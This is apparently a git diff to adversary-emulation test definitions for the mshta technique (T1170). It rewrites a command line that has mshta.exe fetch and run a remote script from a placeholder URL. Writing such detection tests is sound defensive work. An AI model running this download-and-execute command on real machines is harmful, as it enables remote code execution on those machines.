diff --git a/atomics/T1170/T1170.md b/atomics/T1170/T1170.md index c2fb1283..5a8de03d 100644 --- a/atomics/T1170/T1170.md +++ b/atomics/T1170/T1170.md @@ -46,6 +46,6 @@ Test execution of a remote script using mshta.exe #### Run it with `command_prompt`! ``` -mshta.exe javascript:a=GetObject("script:#{file_url}").Exec();close(); +mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close(); ```
diff --git a/atomics/T1170/T1170.yaml b/atomics/T1170/T1170.yaml index c2cc3b93..1614bebd 100644 --- a/atomics/T1170/T1170.yaml +++ b/atomics/T1170/T1170.yaml @@ -16,4 +16,5 @@ atomic_tests: executor: name: command_prompt command: | - mshta.exe javascript:a=GetObject("script:#{file_url}").Exec();close(); + mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close(); +